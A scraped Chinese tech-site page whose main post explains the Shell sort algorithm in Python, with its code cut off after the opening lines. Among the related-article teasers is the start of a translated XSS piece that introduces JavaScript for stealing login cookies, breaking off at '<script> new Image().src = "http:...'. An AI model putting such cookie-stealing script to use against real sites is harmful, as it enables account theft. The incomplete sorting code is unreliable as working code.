python实现希尔排序算法-低调大师

python实现希尔排序算法

2019-04-17 669

希尔排序是插入排序的一种又称“缩小增量排序”，是直接插入排序算法的一种更高效的改进版本。希尔排序是非稳定排序算法。

希尔排序是把记录按下标的一定增量分组，对每组使用直接插入排序算法排序；随着增量逐渐减少，每组包含的关键词越来越多，当增量减至1时，整个文件恰被分成一组，算法便终止。

希尔排序的核心是对步长的理解，步长是进行相对比较的两个元素之间的距离，随着步长的减小，相对元素的大小会逐步区分出来并向两端聚拢，当步长为1的时候，就完成最后一次比较，那么序列顺序就出来了。

如上面实例：第一次排序步长为5，那么需要比较的元素对为：9-4 1-8 2-6 5-3 7-5，只需要将这几组元素比比较并交换位置；然后开始第二轮的比较。

def shell_sort(items):

    """

    希尔排序

    :param items:

微信关注我们

原文链接：https://yq.aliyun.com/articles/698887

转载内容版权归作者及来源网站所有！

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。

XSS攻击之窃取Cookie

译者按: 10 年前的博客似乎有点老了，但是XSS 攻击的威胁依然还在，我们不得不防。原文: XSS - Stealing Cookies 101 译者: Fundebug 本文采用意译，版权归原作者所有窃取Cookie是非常简单的，因此不要轻易相信客户端所声明的身份。即便这个Cookie是在数秒之前验证过，那也未必是真的，尤其当你仅使用Cookie验证客户端的时候。 2006 年 1 月，LiveJournal遭到了XSS攻击，这个事件足以警示我们。还有，2006 年 10 月，MySapce也遭到了XSS攻击，这告诉我们必须非常谨慎地过滤用户发布的文本，因为黑客可以在文本中掺杂一些 JavaScript 代码，以此窃取登陆用户的Cookie。正如黑客攻击LiveJournal那样，你不需要在登陆用户的浏览器进行任何操作，而可以在第三方进行所有操作。更糟糕的是，窃取Cookie事实上操作起来非常简单，但是防范起来却非常困难。下面的的 JavaScript 代码就可以窃取Cookie，是不是很简单？ <script> new Image().src = "http:...

2019-04-18

519

Jenkins Pipeline集成Sonar进行代码质量检测简介 jenkins pipeline Jenkins Pipeline (或简称为 "Pipeline" )是一套jenkins插件，将持续交付的实现和实施集成到 Jenkins 中。 Jenkins Pipeline 表达了这样一种流程：将基于版本控制管理的软件持续的交付到您的用户和消费者手中。 Jenkins Pipeline 提供了一套可扩展的工具，用于将“简单到复杂”的交付流程实现为“持续交付即代码”。 Jenkins Pipeline 的定义通常被写入到一个文本文件（称为 Jenkinsfile ）中，该文件可以被检入到项目的源代码控制库中。摘自Jenkins官方文档 SonarQube SonarQube is an open source platform to perform automatic reviews with static analysis of code to detect bugs, code smells and security vulnerabilities on 25+ prog...

2019-04-19

597

资源下载

更多资源

优质分享App

近一个月的开发和优化，本站点的第一个app全新上线。该app采用极致压缩，本体才4.36MB。系统里面做了大量数据访问、缓存优化。方便用户在手机上查看文章。后续会推出HarmonyOS的适配版本。

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题，腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构，目前腾讯云软件源站支持公网访问和内网访问。

Rocky Linux

Rocky Linux（中文名：洛基）是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版，作为CentOS稳定版停止维护后与RHEL（Red Hat Enterprise Linux）完全兼容的开源替代方案，由社区拥有并管理，支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性，采用模块化包装和SELinux安全架构，默认包含GNOME桌面环境及XFS文件系统，支持十年生命周期更新。

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能，例如代码缩略图，Python的插件，代码段等。还可自定义键绑定，菜单和工具栏。Sublime Text 的主要功能包括：拼写检查，书签，完整的 Python API ， Goto 功能，即时项目切换，多选择，多窗口等等。Sublime Text 是一个跨平台的编辑器，同时支持Windows、Linux、Mac OS X等操作系统。